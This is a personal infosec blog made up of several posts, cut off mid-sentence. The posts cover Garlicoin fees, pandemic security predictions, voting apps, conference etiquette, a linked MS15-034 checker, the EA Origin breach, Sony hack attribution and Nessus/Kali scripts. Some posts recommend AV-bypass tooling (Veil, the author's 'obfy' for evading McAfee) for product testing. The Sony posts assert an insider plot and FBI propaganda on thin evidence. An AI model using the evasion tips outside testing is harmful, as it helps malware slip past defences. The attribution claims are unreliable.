Cryptocurrency Learning Update

In 2018 I decided to learn a bit about Cryptocurrency getting into Reddit's Garlicoin. I blogged about it here https://secjohn.blogspot.com/2018/02/cryptocurrency-infosec-perspective.html.

The short story is mining has serious security issues and is ripe with ways to get ripped off. At the time I mined 76 or so GRLC. So this week I decided to try to turn that into cash for fun. My idea was to get a $0.13 or so payout for fun and post about it. What I got was far less, and I learned far more.

First I need to upload my GRLC to an online exchange. https://freiexchange.com is what all the GRLC people use so I setup an account. No deposit or trade fees, so that is good. Fired up my wallet software, and it won't connect. Crap. OK, work on fixing that, never get it to work. Download the new official wallet software and install it (not signed software, no change since my last post there) and it sees my local file which is my wallet good, still doesn't connect, bad. Google it, and find one 11 month old post about this and how the peers.dat file that comes with the wallet is bad and to use this one linked from a non official site. Literally just some guy posting the file. I looked for something more official, gave up and tried it, and yes that worked. Honestly I can't believe I did any of this on my PC, this brings me right back to the post I linked above. OK only 3 years and 50 weeks behind, let that go a few hours. Now I can move coin to the Exchange.

I couldn't send all 76 GRLC to the exchange, too big to process the fee. What fee you ask? I honestly have no idea, the GRLC gods need to eat I guess? I don't even know who that fee goes to. I had to break my transition into 3 separate ones, and each one took a fee out. So roughly 20 minutes later when they finally show up on the Exchange I had around 75 GRLC.  I honestly have no idea where the extra one went or why and I didn't bother to try to figure that out. It seems a small GRLC fee gets applied to all movement for some reason. Joy.

OK time to trade. That worked fine and now I have a small amount of BTC. Now to turn that into hard cash I need to transfer it to Coinbase. I that will cost me lets me check.....half of my BTC. Wait what 0.50% well that sounds better than half when you say it that way, and I can't do much about it now ok let's do it.

Well no, I can't even give half away to get my BTC out, because there is also a fixed fee on top of the % fee which isn't called out until you try to move it, and that is more than I have. See my hilarity below. It turns out there is a processing fee I never saw called out until trying to export BTC. That is  0.0006 BTC and fixed, and you can tell from the math below they apply it first, then take half of what is left. I have less than the fixed fee so I can't export funds without paying money. So I can pay money to export nothing, but I decided not to. 

As of writing this that is worth a little less than $5. I'm not sure what the Coinbase fees will be, based on this experience I can't trust it to be clear until I try and I don't plan to spend money to find out. What I looked up says for small amounts like this it is a $0.99 fee. I'm guessing that will apply to transfer this to USD, and again to move it off their system, so maybe I could get $0.50, if I could do it, which I can't. Oh well. 

Lessons Learned:

Cryptocurrency is more of a scam that I thought, and I thought it was a total scam. There are fees at every turn and many are hidden, unexplained, and can hit you when it is too late to turn back. 

The real winners here are the people collecting fees after fees after fees, sometimes hidden or not clearly called out, and the fee amounts are crazy. 

The security and quality around the client software is as messy as it was in 2018.

Getting a wallet to work and connect to a peer and download the chain was worse than old school torrenting movies. I swear it is like I went back in time. 

Transferring between wallets to be able to trade took forever, and I had to pay extra for the ridiculous inefficiency of it. I'm just going to say it, blockchain just isn't a good idea for any problem. It wastes time and energy for no real gain. 

Other good reading:

Moxie explaining web3 better than anyone else:

https://moxie.org/2022/01/07/web3-first-impressions.html

Hidden fees in NFT, more fees on top of the fees and fee fees. Take the horrible above and add more fees plus pictures! I don't recommend it:

https://www.businessinsider.com/nft-investing-crypto-art-what-is-a-gas-fee-explained-2021-3

InfoSec and Overall Pandemic Observations and Predictions

I’ve been noticing many changes in InfoSec, and just overall. Which has led me to some predictions which I thought would be fun to share and come back later and see how I did.

Your feedback on mine and your own observations and predictions are most welcome.

Note: These are uncertain times (if you couldn’t tell from almost every single TV ad on air right now) so it isn’t a good time to try to predict anything therefore all or most of the predictions may be wrong.

InfoSec Observations

1. While the InfoSec job market was on fire before this, it does not seem to be immune to the hiring freezes being put into place.
2. Many company’s leadership don’t see InfoSec as critical for survival and is an area that can be looked at to cut costs when in survival mode.
3. Many InfoSec people are taking on non-security IT functions and those are given a higher priority than their typical security duties.
4. Criminals who have always in the past leveraged news cycles and disasters for attacks are going all in on this one. Many are advanced using new WFH procedures, or leadership needing to make some important decisions or announcements as attacks and not referencing COVID-19 directly. Overall phishing attacks seem way up to me, and more advanced.
5. Vendor cold emails/calls/LinkedIn requests are through the roof! It feels like the week after RSAC every week.
6. Virtual vendor gatherings aren’t very appealing, especially after several video conferences for work. Even if I really like the person and/or product it is still an optional evening video conference meeting after a day of them.

InfoSec Predictions

1. Compromises are going to go way up in 2020 up due to InfoSec hire freezes, added IT duties, and layoffs.
2. The InfoSec job market won’t be as hot at the end of this as it was before it started, but it won’t be bad either. I’m guessing closer in line with IT overall.
3. There will be a push to ensure InfoSec is seen as more critical and can’t be taken over by non-security related IT duties again. I think moving InfoSec out of IT will become more common, and regulators will start mandating it.
4. InfoSec software/service spend will go down in 2020 instead up and many companies in that space won’t survive.
5. The InfoSec software/service companies that will do well are the ones with high value for the price and can be directly tied to headcount reduction.
6. The InfoSec software/service companies that will do the worst are ones that relied on a sales approach that primarily involved steak dinners and drinks with prospects, and ones that need a team of people at the client to manage their product to get value out of it.

Overall Observations

1. Working from home has changed for everyone, even people who worked from home often before. Video is more common and frequently expected where before conference calls were the norm.
2. Disposable gloves are now on par with plastic bags randomly on the ground and in the weeds.
3. Restaurants are switching over to all one-use items, and stores don’t allow reusable bags, the amount of recycling/garbage from shopping has gone way up.
4. Kids are fishing again.
5. Everyone is enjoying movies at home, the content we have access to is amazing and it looks great.
6. Unsupervised kids/teenagers outside aren’t social distancing, or I’m old, or both.
7. People in rural communities are going back to normal and see this as an urban issue.

Overall Predictions

1. Jobs that can be done remote will continue to largely be done remote forever. The WFH genie is out of the bottle. People will pick careers based on being able to work from home and will expect it.
2. The Internet is officially a critical service. And with the ability to remote learn and work, rural communities can attract more people and increase their property values if they have fast reliable Internet and I think many will work on that.
3. Biodegradable is going to start taking over from recyclable and reusable. Those gloves on the ground, one use menus, bags, food containers, etc. It is simply going to be too much to recycle or put in the trash, and we aren’t allowed to use reusable items. We are going to need to figure out how to make more things biodegradable.
4. Fishing is going to enjoy a surge in popularity long term.
5. Kids who thought TV’s are for old people will start appreciating larger screens at home.
6. Movie theaters are toast, people are going to expect their content at home streamed to them.
7. I think we are going to see a spike in cases in rural areas and in kids/teenagers which will impact everyone before this is over and will likely cause schools to not open in the fall.

Keep Technology Away from Voting Part 2

More info has come out. The makers of the app are Shadow Inc. https://shadowinc.io.

Linked in shows them as a 2-10 person company:

All 10 people appear to be on LinkedIn:

Notices the titles. No Infrastructure (cloud or otherwise), or security in them. To be fair the CEO, COO, and CTO all appear to have very technical backgrounds and I'm guessing are smart people. In fact I bet they are all smart people. But all three have development/coding backgrounds primarily.

They are hiring, a front-end engineer and a wordpress engineer:
https://shadowinc.io/jobs/?utm_content=111269500&utm_medium=social&utm_source=twitter&hss_channel=tw-1141046691090632704

Cloud infrastructure is still infrastructure, networking is networking, and security for all is still critical and can't be left up to your cloud hosting provider to figure out for you.

So far, just wow. We will see what else we learn, too early to judge yet, but so far it doesn't look good.

Keep Technology Away from Voting

I'm posting this in middle of the "total meltdown" of reporting of the Iowa caucus 2020 (https://www.politico.com/news/2020/02/03/iowa-caucus-2020-election-110600). Still a lot is left to be seen and learned about this issue. But as both a security and technology professional for roughly 25 years I want so say this:

Stop trying to use technology for voting!

Security:
No credible cyber-security expert who doesn't have a conflict of interest thinks putting any parts of how we vote or record votes online is a good idea. Any part of our voting system that is connected to the Internet will be attacked by state actors. Protecting against state actors is really hard. The most common successful approach to defending systems against state actors when you know they will be attacked is to not connect them to the Internet! Trying to protect them while leaving them connected is likely not possible, but also adds huge complexity which brings us to the next topic.

Technology:
Technology is hard. All experienced Infrastructure and AppDev people know this. There are more things that can go wrong than you can imagine, and they all do eventually. And if Microsoft can have a major outage because of a certificate expiring (https://www.cnet.com/news/microsoft-teams-outage-due-to-expired-certificate-company-says/) what do you think the odds are the small companies working on systems for voting can do everything perfectly? The more complex a system is, the harder it is to get it right and keep it from having outages or problems. The more security you try to add to something, the more complex you make it. It is too early to tell with this issue, but I wouldn't be surprised if we eventually find out their attempt to keep this system secured helped cause the outage or problems they ran into last night in Iowa. For example, ensuring systems aren't shared in the cloud might have prevented them from being able to quickly scale out when they ran out of resources.

Summary/TL;DR:

• Anything attached to the Internet that has anything to do with US voting will be attacked by state actors
• Protecting from this threat is somewhere between hard and impossible, and trying will add complexity to the system
• Complexity is the bane of all technology and makes outages and issues more likely
• Therefore even if not successfully attacked, outages and issues should be expected due to this complexity
• Which means we really should keep voting and vote recording systems offline, and use the least amount of technology as possible for the time being

Cryptocurrency InfoSec Perspective

So I like Reddit. Some folks on Reddit decided to start their own Cyptocurrency for fun. I've been meaning to learn about how this works for real not just theory in part because I need to have more details to back up telling people blockchain can't fix their problems. What I learned so far was shocking as an InfoSec person. I'm still getting started and learning but I have enough to rant about. This is going to focus on the crazy InfoSec of all of this. Not the details, directions, overclocking the GPU, etc, etc. Go somewhere else if you want to learn to mine. Stay here if you want to learn how dangerous all of this is.

TL;DR:

• Be careful what executable files you download and run, research the coin or software and if it doesn't look 100% legit don't do it.
• Don't blow off AV warnings because other are
• Be careful if your private key and know about any software you paste it into, that is all someone needs to empty out your wallet, if you really get into this look into hardware wallets
• Research all software you are thinking about using. Google it with the word scam after the name. Really dig into anything that seems easy and is GUI based, the scammers appear to be targeting people who shy away from using command line tools. If you can't deal with command line, don't get into mining.

The Story:

The new currency (which is going to the moon) is Garlicoin. https://garlicoin.io/

For starters you need a wallet. Doing this what they say here https://pandawanfr.github.io/GarlicRecipes/wallet-win.html. This involves downloading a zip full of executable files and running many of them.  Sketchy, but I've been following this community for a while and I'm sure they are solid people. But people are doing this for 1000's of coins they have no involvement with, that is crazy. But OK moving on.

I need to get a miner. The official sites point me to this one. https://github.com/tpruvot/ccminer/releases. So yet another random exe from someone I don't know. Tpruvot. But he looks like a nice man from France and googling it looks like tons of people use his software to mine, it is very popular. Technically I can try to look over the code but it is a lot of code and forget it, now I'm mining coins. Probably safe, maybe.

So far I've run 3 executable files but the sources seems pretty trustworthy. Then everyone started to recommend installing a GUI wallet Garlium. So I did. https://xske.github.io/garlium/ To import the wallet I setup with the command line I have to give it my private key. Now if you don't know, that private key is all you need to steal my hard mined coins. And I need to put it into this software I know nothing about. And btw, AV pops it when you download it. I'm serious. That seems crazy but everyone is doing it and I want to be cool. But I did just give an unknown app that AV pops my private key. If this was full of bitcoin I wouldn't have done it. This is getting to be too much.

But now my hash rates aren't as good as everyone else. Well they are using this version of ccminer instead https://github.com/palginpav/ccminer/releases/tag/2.0-bitcore.v3 so I try it and it is far faster, more coins, sweet! But here is the thing. This is a github repo from some Russian I can't find much about or anyone who knows. There is no documentation and I don't know why it is faster or what was changed. Yet I'm running in on the same PC that the wallet is on and has the private key to the wallet. This is clearly a bad idea but no one is thinking twice about it. This is all getting a bit too much so I start to google around. What I found was shocking.

The whole cryptocurrency mining community seems to be built on people simply running compiled code, either GUI apps or command line exe files, from dubious sources. AV popping them is a common problem which everyone ignores. It is common to put your private key in random software, and I saw many people give advice on their website or in directions saying to save it in a text file on your computer. And people are installing these apps and running these programs from coins they know nothing about hoping to get in early in the next bitcoin. If anyone ever decided to be evil in rolling out a new coin they could easily make one decided to empty your wallets of your other coins, or worse. This makes me wonder if hardware wallets are really in wide use, but I don't know. So many people seems to keep tons of their coins on websites that get hacked and use online wallets, I kind of doubt it.

Finally people appear to clearly be making easy to use GUI mining tools for people that are just plan out scams. There are tons of scams, of clearly malicious software people are using to mine.

So this is all crazy. Now that I have some coins I get to figure out how horrible the markets are. More to come. :-)

InfoSec Fundamentals, Spoiler: AV is not dead

I've been thinking about this a lot, and I asked about it and got an answer I didn't expect on twitter, here:
This tweet which took mere to this article.

So here is a blog post about it.

First, I think a lot of what InfoSec teams do as "fundamentals" is a lot of time with little value in security the organization. And this is obvious to many people outside of InfoSec and make them not believe the threats, which are real and we know it, but still they don't believe them because they see us spin our wheels. Here is an example:

Patching:

Dear god we spend a lot of time patching and telling people to patch. A lot of it. And lord knows our scanners mark all kinds of stuff as Critical and High. But you know what, most successful attacks don't take advantage of missing patches. Most take advantage of configuration issues (system and application) and human error. There is a very small number of issues that are actively exploited. Ask a pentester. They know them, they will say things like MS08-067 (yes you still find it all the time, often on physical security boxes, I love that), jboss auth bypass, MySQL auth bypass, maybe they will say Heart Bleed, maybe a few others. Done. Yet you patch 1000's of things. And spend a ton of time doing it. Then after everything is all patched up an attacker or pentester gets in on a jboss server with no authentication, or finds default creds, or phishes one user and snags your local admin and that hash works EVERYWHERE, or you reuse your domain admin password on IPMI and it was easily crackable, or you have unencrypted and reused passwords in a DB exposed in a nice SQLi attack, etc. But by all means, our scanner said this local priv escalation issue on a server is critical, lets patch it.

Prioritize patching issues people can use, and focus on configuration and application issues and be brave enough to re-classify issues even if a scanner said it was critical.

Back to the point:

Anyway, that article did talk about that, which is what I was expecting. Instead it did the AV is dead thing. Which annoys me so I'm writing a blog post.

Here is the deal, AV isn't dead. But many big AV names sell garbage. And InfoSec people don't test it and buy it anyway. InfoSec people don't test most thing. I can tell this because I've testing security software that simply is fake, and they still are selling it. Seriously, our industry has serious issues right now and all things any vendor claims needs to be tested in detail. Tons of them simply fake their product. Some big names rely on market share and have been phoning it in for years now. This brings me back to AV.

Yes, bypass techniques work. But they work far better and easier on some AV products than others. Again as a pentester. Some AV companies (with really big market shares) make pentesters very happy. Some smaller ones drive them nuts. Other smaller ones are 100% fake, so don't just pick a small one. You have to literally test them, for real. Collect viruses. Learn AV bypassing, use the Veil Framework for one but learn others too and role as many evil payloads as you can and bypass your current AV as much as you can in as many different ways as you can. Then test other products. If you do you will quickly come to one or two that kicks your ass and you will know the one you are using is garbage (assuming you are using a bad one like most companies are). If you then are brave enough to switch to one your own testing proves is better than what you have, you will start seeing a ton of generic backdoor alerts popping that you never saw before, as the legit AV program is popping targeted phishing emails that made it past everything else. When this starts happening you will wonder why anyone is saying AV is dead and wondering why they aren't testing the crap out of AV vendors and realizing some are far, far better than others catching real attacks and not going after signature counts.

Does that make your endpoints hack proof? Hell no. It makes them a lot more secure than they were, for a small amount of money and little effort. You need to do more of course. But all things alone have issues. App white listing is great until you get owned by powershell. Frankly, detection has become as important as prevention if not more so in my opinion. So all the effort you put in preventing attacks from working, if you aren't putting that much effort in detecting attacks that get through, you are in trouble imho. Centralized logging for example has become as important as AV or app whitelisting. Network Forensics is as important as firewalls. Etc.

TL;DR:
Priorities issues with patches and just because your scanner said it is critical doesn't mean it is
Test everything, many products are poor or ourright fake
Detection is as important as prevention

But that is enough for now, it was just one tweet after all.

RSA Vendor Comps and You

With RSA coming up I've been thinking about this because it seems many people on both sides of this don't appear to understand the rules. Which is crazy annoying at best, at worst it makes our industry more scummy if that is possible. I had a vendor who comped me tickets to a conference once literally forward the 6 month old email to me showing it explaining that I had to buy things from him still, after I told him I switched vendors months before. I switched for a very good reason and he made a ton of money from the company before the switch, and I told him all about it, it was all on the up and up but I got this scummy email anyway. I had to reply telling him that wasn't a kickback and no, I don't have to buy anything from him. If the sales guys don't know the difference between a comp and a kickback then we are in trouble. So here goes:

Buyer Rules:

1. If a vendor offers you RSA tickets (or anything else like dinner or a ballgame for that matter), they want to spend time with you. You should go if you say yes, don't say you are going and no show or send an employee. If you don't want to go just say no thank you. If you want to send an employee tell them and see what they say.
2. Never lie and say you are interested when you aren't or you can buy something when you know you can't. The vendors don't care just be honest, they will work on the relationship for the long term but hate being lied to.
3. If a vendor comps you RSA tickets for example, you owe them some of your time, stop by their booth, talk to whoever they want you to talk to. 30 minutes or less should do it.
4. You don't have to do a long dinner with them if you don't want to, if they offer switch it to a meeting maybe coffee or a beer during happy hour.
5. Free stuff from booths requires some amount of listening to their pitch but not a lot and if they are taking too much of your time say so and if they won't stop walk away. You are selling your time and if it isn't worth it bail.
6. You don't owe anyone anything other than some of your time. After that it is done and if they try to guilt you into anything block them and move on.
7. You can sign up for as many parties as you want and only show up to some, no worries. You are selling your email and they will spam the hell out of you.

Vendor Rules:

1. If you pay for someone to go to RSA you are buying some of their time while they are there, nothing more, nothing less.
2. Gifts at booths is to get people to listen to your pitch and get leads, if they get bored you are taking too long or you are selling something they aren't in the market for. That isn't their fault.
3. No matter how much you give away to someone, they owe you nothing! None of this is a kickback. If they take your free stuff and buy another product or use another vendor, bringing up you bought them a nice dinner or paid for their Expo pass is scummy. 
4. If you are lied too, simply note that and remember that about that person, there is nothing else you can do.

Buyer Tips:

1. Sales folks get crazy desperate the last day of the Expo especially the area around the edges where the small booths are and they get way out into the hall and stop you from moving on. Hit the small booth areas early on and avoid them later on.
2. Stay away from long sales pitch dinners at RSA, there is more fun to be had and you can get those anytime.

Vendor Tips:

1. Don't give away Expo tickets if you will have no one to talk to the person there, all you are buying is their time.
2. Don't try to force them into a long dinner, offer coffee or a quick beer in the afternoon instead.
3. Drawings suck IMHO.
4. Small useful items are the best.
5. You don't have to email us and tell us you have a booth at RSA, we know! Seriously. Email us about talks your people are giving or parties you are putting on. But if the email just says visit us at booth #123, then stop and don't send it.

#RSAC vs. #VMWorld Take 2

I've noticed some more things and realized I called out what I was seeing at VMWorld on the last one without calling out the difference so I'll explain a few things better too.

1. At InfoSec Cons people want to understand how things work, why they do what they do, what happens if you do something unexpected, etc. At VMWorld no one seems to care, they want to know how to make software work not how they heck the software does what it does. Which is sad, some of this software is freaking amazing but not one talk is about how they do what they do. I keep wondering how to break into it and remotely sniff traffic on virtual switches or grab files from virtual SANs without even touching the guest OS, but I digress. 
2. Deep Dive talks at security CONs show code typically. At VMWorld Deep Dive talks I would call high level overview and are mostly slides with video recording of someone clicking buttons on a GUI as the speaker talks over it and that is the deep dive demo. Seriously. Almost no one at VMWorld seems to care that isn't really a deep dive, I've meet one person so far who isn't happy about that other than me.
3. The booth swag is way worse. Most booths don't give anything away it is all a chance to win something, how horrible.
4. The wifi is just as messed up as a typical security con and I'm seeing people doing evil doing the wifi pineapple thing cloning the main wifi network, you name it. They don't give a secure option either nor do they publish the correct MAC addresses on the APs so you are just screwed and have to turn wifi off. Everyone is complaining about the wifi but they don't seem to get why it is bad and that is isn't safe and that it is slow because it is all being routed through a guys laptop. I find it a bit funny.

InfoSec vs. Infrastructure Communities

Backstory:
I've considered myself part of the InfoSec community since going to my first DEF CON 15 years ago. Back then I had already been doing security work for a while but was not aware of the community and really that this could be your 100% focus until going to DEF CON, I was a self taught Infrastructure guy but my eyes were open and I never looked back. Until recently due to the Infra leader leaving my current company and I got asked to take over part of it with security. So I find myself at VMWorld this week. It tuns out VMWorld is Infra's RSA Conference. I mean exactly, same place, same size Expo, the vendors that do both even have their booths in the same spots. I know because I was just at RSA. So I've been noticing some differences in the communities that I found interesting enough to post and see what everyone else thought.

#VMWord vs. #RSAC

1. People at VMWord overall are older, I know the hoards of kids I'm thinking of at security cons are not as represented at RSAC as other cons like DEF CON, but still. I don't think the kids these days think Infrastructure is cool. In 20 years this may be a problem.
2. There are way less women at VMWorld than RSAC. Way less. A working at the center asked me why there were no women, he said he worked many of these events and this one had the least amount of women. I asked him if he worked RSA and he said yes, way more at RSA. I agree. I find it interesting there is an outcry about this in InfoSec but not Infra, Infra is far more male dominated from what I can see.
3. VMWorld didn't get the note on "booth babes" probably due to point #2. It is like going back in time on that front, not all the booths but a lot and a lot really have the appearances of let's say professional dancers and leave it at that. 
4. The booths are even more vague! Everyone uses the same buzzwords and you can't even tell what the company does without talking to them. I figured out this is because they all appear to do the exact same thing. Which is crazy. It reminds me of the days where every other booth was an IPS vendor, Infra is in that phase right now.
5. Speaking of everyone doing the same thing, Infra isn't even Infra anymore. Almost all the booths are software or hardware the runs special software on top of it and it is only their software that makes them different than anyone else. Oh and their software does the same thing as everyone else on the same kind of hardware but we are better because, um, ya. Today Infra folks think they are working on a server when they play with software the abstracts the whole hardware layer. When I asked hardware questions no one knows the answers. I find this totally insane and I wonder how many people will be able to make this stuff work in 20 years.
6. The parties are in the same places but totally different. The music is way quite and no one is even thinking about dancing and people are more into the sliders than the booze. Frankly being older I kind of like these parties better than a crazy Rapid7 party where you can't hear anyone talk. Maybe this is due to point #1.

Anyone I'm starting day two at VMWorld and will see what else I notice. If anyone reading has their own observations or disagrees or whatever leave your comments. Or reply to me on twitter.  

MS15-034 Ruby Script

I made one and it is here: https://github.com/secjohn/ms15-034-checker.

When MS15-034 hit earlier this week there was a lot of activity. A few Python scripts came out quickly. Someone used one of those to make a Metasploit module very fast, a bit later a nmap script came out. But other than the Metasploit module no one made a ruby script to check for it. And frankly that bothered me so I made one. Let me explain why it bothered me.

Ruby isn't just a good high level language, it is what Metasploit uses. Metasploit is by far the most useful offensive tool in the InfoSec toolbox. And everyone in InfoSec should know how to use it, defensive people simply must understand how attacks work and how attackers think to defend well. If you don't agree or understand why buy me a drink at a con and I'll talk your ear off until you get it or are out of drink money. I'll be at RSA next week. :-) Anyway, Metasploit is a framework and sometimes you need to tweak a module to get it to work against the computer you are attacking. Knowing Ruby allows you to do that. Not being able to do that can mean the difference between getting in or falsely thinking the computer is secure.

Python is good and all but Ruby is a perfectly fine scripting language and your scripts don't have to look like a Metasploit module or part of a large object oriented program.

So my fellow InfoSec folks with various degrees of Ruby skills, keep the dust off them. Check out the script. Make another one that is better with half the lines of code for fun, or not using the gem I used, or whatever. Keep sharp out there, the skills will come in handy and you don't have to learn Python to do this kind of thing if you already know some Ruby.

Educating non-InfoSec People

EA was hacked and isn't admitting, in my opinion. Let me explain. EA has an application used to buy games and in game things called Origin. I have an Origin account I almost never use, I used it to buy some single player games in the past. I got a your password was reset email and thought, that isn't good. So I tried and failed to login. I had a new password reset email sent to me and logged on to see many, many game purchase I didn't do, and lucky got me, they had all failed. I tried to turn on a security feature to alert me when the account logged in from another IP but couldn't because the answer to my secret password was changed. So I opened up a ticket. It turns out it was changed to a long string of text and not all english characters, joy. So I'm good now. But keep in mind a few things. One, I'm reasonably sure my home PC is not infected or owned in any way. Two, I use an email address for this I don't use for normal emails and is a domain I own not gmail, etc. Three, the password was strong and not reused other places. Four, to get the answer to the secret question from my PC they would have had to owned my PC since I opened the account back in 2013. All of this points to EA was the leak of my data not me, and they stored all of this in clear text or hashed or encrypted with poor key security but in any way stored it in a way that didn't keep the data private when stollen, clear text is my guess. The person on the phone that helped me was nice and said they are dealing with a lot of these and they are forwarding them all to their fraud department who is trying to figure out what is going on.

So I looked it up and found things like this: http://venturebeat.com/2014/12/30/hackers-are-breaking-into-origin-and-making-fraudulent-purchases/ So based on my experience and that is lines up with many others it seems to me that: EA was hacked, they store this info in the clear, they don't have the logging capabilities to determine they were hacked for sure but they suspect it, EA leadership has made the stance that without 100% positive confirmation of a breach they will just deal with it and tell people they have found no evidence of a breach. This is where it gets interesting.

I'm a member of a large online gaming community. So I warned them to change their EA Origin password AND their secret question/answer combo. The overwhelming response I got was disbelief a "large company" such as EA would have been hacked without telling everyone about it and that they wouldn't have been properly encrypting this information and instead the people kept trying to tell me how to scan my PC for malware. I finally gave up trying to explain this to them and they get what they get I warned them. But I found it rather shocking that a group of tech savvy but non-InfoSec people put so much faith in companies doing InfoSec correctly. If you are reading this you are probably in InfoSec and are probably saying the same thing I am. Almost no company does this correctly. It is totally believable EA doesn't encrypt this data. It is even more believable than they decide not to report a breach unless they have to and they have a hard time finding evidence of it. These aren't just believable they are likely based on all I've seen over the years. Yet the average person thinks so highly in the tech capabilities of these large companies it comes off as conspiracy theory craziness and you can't even explain it.

This struck me as very bad. If more people knew how poorly their data was secured people would be mad about it and things would change for the better. But I'm not sure what to do about it. I'm interested in what you all think on the topic, if anyone made it this far. How do you convince people how poorly most companies do InfoSec without them dismissing you as crazy?

Told you so...Almost

From my last post you can see I had serious doubts about the FBI claim that North Korea is involved int he Sony hack and I'm deeply concerned that the FBI is being used as a propaganda arm of the Executive branch of government. Here is an update:

Norse Corp took on the investigation and figured it out in more detail and shared their findings with the FBI. The FBI rejected it and still has not shared why they rejected it or what if any evidence they have against North Korea:
http://nypost.com/2014/12/30/new-evidence-sony-hack-was-inside-job-cyber-experts/

The US Govt sanctioned North Korea while admitting no real evidence exists and no one seems to care but NK:
http://boingboing.net/2015/01/02/obama-administration-north-ko.html

The stalled Cyber Security bill now has support of Republicans in the senate and will likely pass given the NK Sony hack link:
http://www.washingtonpost.com/blogs/post-politics/wp/2014/12/18/eyes-turn-to-the-next-congress-as-sony-hack-exposes-cybersecurity-flaws/

That bill is deeply flawed and shouldn't pass:
https://www.eff.org/issues/cyber-security-legislation

As far as I can tell the Sony hack happened, an insider working with some Russians to extort money as far as I can tell. The White House used the FBI to blame NK to get an unpopular cyber security bill passed. When the story lost it's legs over the holidays they sanctioned NK to keep it alive to try to keep momentum on the bill they want. Once the bill passes I bet they drop the NK story and arrest the insider. Time will tell though.

Sony, the FBI, and NK

The FBI came out saying they thought North Korea hacked Sony: http://www.fbi.gov/news/pressrel/press-releases/update-on-sony-investigation.

The main points are, malware code looked reused from previous code attributed to North Korea, the malware uses NK IP addresses, and the "tools" used were similar to a South Korea bank attack believed to be from NK, whatever that means. Here is the problem from the U.S. intelligence departments mouth:

Another indicator pointing to U.S. intelligence is the familiarity with Sony’s computer network. “It’s clear from the hard-coded paths and passwords in the malware that whoever wrote it had extensive knowledge of Sony’s internal architecture and access to key passwords,” Rogers notes. “While it’s plausible that an attacker could have built up this knowledge over time and then used it to make the malware, Occam’s razor suggests the simpler explanation of an insider.”

That is still all true, which makes the FBI release read like nonsense to me. Consider the possibility of a pure North Korea attack with no insider. That would mean the attacker would need to gain access to Sony's network, likely with an email phish attack or maybe an undetected web attack. Gain access to many files and find passwords in password files and system documentation and diagrams and piece together the information needed to make this malware. And while possible, that makes no sense at all to me. Once you have that level of access and understanding, making malware is the last thing you would do. At that point simply use normal system tools to extract all the data you want without being detected or leaving malware behind. Anyone knowledgeable to create this malware would know better than to use malware if they already had all the access they needed without it. This scenario makes no sense to me and as the quote above states, doesn't pass the Occam's razor test. Let's assume they had access, but couldn't use the tools they needed to get the data and needed to write their own code and...It just doesn't pass the test unless they know something they aren't telling us which is possible but still more assumptions and therefore still doesn't pass the test.

What does pass the test is an insider with this knowledge either is behind the attack, or willfully gave up this information to an attacker and is part of the attack. The attacker could still be North Korea, but only with an insider's help. But more likely that that, an insider working with another outside group with the skills needed and is intent on financial gain from extorting money from Sony and had the idea of trying to blame North Korea or just Korea in general for the attack to cover their tracks. If they knew how the company and media and governments would jump on it for their own self interests, they are brilliant. But I'm guessing they didn't know it would work out so well but rolled with it when the NK part of the story took on a life of its own. And why not? Now that the FBI said what they said, for whatever reason, it is hard for me to picture them finding and bringing to justice the criminals involved if it turns out NK wasn't behind it. And that is the dangerous part of this game which I predict will be played out again and again. How easy is it to get away with a crime like this and blame a nation state if we are so willing to let the nation state be blamed?

New Scripts and Old Script Changes

I pushed up some scripts I banged out today here: https://github.com/secjohn/nessus-reporting
I'm a blue team guy again and I needed a better way to share Nessus findings both vulnerability scans and compliance audit scans with my admins. The Nessus HTML and CVS exports just don't cut it, and I'm sick of manually editing the CVS exports to be something people want. So I made these scripts to turn .nessus files into spreadsheets my admins want and figured I would share them. They are freshly made and I'm sure some improvements are needed. But so far appear to work fine even on very large .nessus files.

I also commented out the crypter parts of obfy. It hasn't worked for a while now, even since some change to msfpayload. Obfy is still a quick way around McAfee, but that is about it at this point. I think it still works against some others if you manually run ditto on the payloads, but I never got ditto to work correctly with wine so I couldn't script it out. Veil is a better automated option for most things and I use it a lot now. Obfy is still good if you know you are going against McAfee or to edit an asm file you made yourself for a longer term custom payload like a signed payload for phishing, etc. But in general I wouldn't use obfy on a normal pentest if I didn't know the AV product anymore. I would highly recommend using it in AV testing if you are buying one.

Update to Kali-Scripts

It has been a while but I updated the Kali update script I have on github and added an kaliautoupgrade.sh script. They can ben found here: https://github.com/secjohn/kali-scripts

The kaliupdate.sh script has minor changes. The biggest one is I changed to dist-upgrade from just upgrade. When I wrote the script there was no difference and a dist-upgrade burned me once on BT5 back in the day so I didn't use it. The dist-upgrade seems to be needed and fine now though.

I'm on the blue team again and I now don't run everything from my laptop and having Kali on a server made me want a script for a cron job. So I edited down the script and tweaked the dist-upgrade line so conf files wouldn't stop it and made kaliautoupgrade.sh. If you have a Kali server and want to upgrade in cron, there you go. One warning, the script assumes things are there for the most part. The one time installs and checks are in the kaliupdate.sh script, you should run it once with a -a before setting up this job.

Kali Dist-Upgrade Issues Fun:
One note on the dist-upgrade, I did run into an issue with it. But is was resolvable. I got an error saying it couldn't finish and to run apt-get -f install to fix it. So I did and that failed. It said it needed to overwrite a file that was owned by another package. At the end it gives the deb file that has an error. If you run into that what you need to do is:
dpkg -i --force-overwrite /the/path/defilegivingtheerror.deb
apt-get -f install

That will let the file be overwritten. After the apt-get -f install finished you need to run the apt-get dist-upgrade again. I had it fail again and had to do the same steps above a second time. Life has been good since then.

SecureCIO Chicago and John McAfee

So I got invited to this thing. http://chicago.securecio.com/cm I wasn't sure how or why and I almost deleted it until I noticed John McAfee was speaking. Then I clicked the hell yes button. I figured either the people running this thing must be pretty cool or totally clueless and were going to freak out and either way this was going to be fun. So I went. It was a bit odd and slow for me at first. The host started with a urban legend a few seconds on snoops on my phone confirmed my hunch. Not long after that he said to use the news about big attacks to scare the crap out of our leaders to get more budget. I don't think he was kidding, maybe half kidding. Another speaker worked for a secure email company and talked about how his product helped secure email, joy. I was starting to wonder what I got myself into. Then at the break I found an old friend of mine and that was good. Then I saw Wendy's blue hair and I recognized her from B-Sides Vegas and I knew McAfee must be close and he was, playing the piano. I went and hung out with him as much as I could. The cool kids all came out to talk to him and as long as I was close to him I found it easier to talk to other people, these were my people. After his talk @minossec came over to say hi to him and it was cool to he him again too. It turns out the director of this thing is a cool guy and has worked with John McAfee before and like me was tying to hang out with him as much as possible and it was nice meeting him too. Finally John McAfee spoke. It was a good talk, different tone than B-Sides he knew the audience was different. Mostly he talked about phone insecurity and how we are all idiots for letting our flashlight app or bible reading app access our microphone and record us without telling us and how he has a new Android app which tells you when that happens and if you try it you will see how stupid you have been and how you are being 